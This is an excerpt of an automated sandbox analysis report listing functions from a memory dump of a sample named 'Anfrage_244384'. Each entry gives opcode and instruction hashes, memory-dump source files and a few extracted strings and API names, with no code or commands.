                                                          • Opcode Fuzzy Hash: f5d47bb90270f0a4fe124dffd0a9df3a23f72feda1905afa653970e53bf36bcf
                                                          • Instruction Fuzzy Hash: 543102B5E01218DFDF15DFA8D884AADBBF2FB48720F10412AE511B7290CB355941DF58
                                                          Function 346759C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @
                                                          • API String ID: 0-2766056989
                                                          • Opcode ID: 8a6829ef4146e8957b5877c71cdb110409aa3ed393a7807d1be488e32f7f187a
                                                          • Instruction ID: 42eb5e6584bf906a50bb38e1f29564585e978d764716170045de328c689166b5
                                                          • Opcode Fuzzy Hash: 8a6829ef4146e8957b5877c71cdb110409aa3ed393a7807d1be488e32f7f187a
                                                          • Instruction Fuzzy Hash: 2F327470E04369CFEB61CF64C894BD9BBB4BF09314F0081EAD449A7651EBB49A84CF91
                                                          Function 346B7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-
                                                          • API String ID: 1302938615-2137968064
                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction ID: deae2deda72ce2af1e82151fe7e7fe0f15711a6e944e2cb2bf8a4b259bcaee1b
                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction Fuzzy Hash: 31919674E002199FEF10CE67C8816AEB7A9EF547A2F50451AE8D5EB3C0D7309941C766
                                                          Function 346A4C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 0$Flst
                                                          • API String ID: 0-758220159
                                                          • Opcode ID: b027099da8eff567533546ce784e40d0db711c6fa22edd0029efaf0651015567
                                                          • Instruction ID: f140de21e09637358b5b8c9b32cd42d181b357af3851a09bbd80f721536ff4be
                                                          • Opcode Fuzzy Hash: b027099da8eff567533546ce784e40d0db711c6fa22edd0029efaf0651015567
                                                          • Instruction Fuzzy Hash: F051AAF5E00A08DFEB14DF99C984699FBF4EF94394F14802ED04AAB250EB709D85CB81
                                                          Function 346704E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • kLsE, xrefs: 34670540
                                                          • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 3467063D
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                          • API String ID: 3446177414-2547482624
                                                          • Opcode ID: 63697effb42263f46d0236f8eca167aa320a566b9f7d5307ef355a4d090e8d96
                                                          • Instruction ID: 49526f8d91a7deca08cfb6b7310ab180bba7f26170b64be269de71dded9e64a6
                                                          • Opcode Fuzzy Hash: 63697effb42263f46d0236f8eca167aa320a566b9f7d5307ef355a4d090e8d96
                                                          • Instruction Fuzzy Hash: 1F51DFB5600B42CFE324DF24C590693BBE8AF85314F10883EE99997240E770E945CFA6
                                                          Function 3466DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: 0$0
                                                          • API String ID: 3446177414-203156872
                                                          • Opcode ID: 932bade430e902991edbee024d625b767d2101ce0f31ad65df61f35f401a6615
                                                          • Instruction ID: e20ba917114301940447eb0d46e0c7e697f9db229f8156be04d62216073e579e
                                                          • Opcode Fuzzy Hash: 932bade430e902991edbee024d625b767d2101ce0f31ad65df61f35f401a6615
                                                          • Instruction Fuzzy Hash: 36416AB5608746EFD300CF28C484A0ABBE5FB89318F044A2EF589DB341D775EA05CB96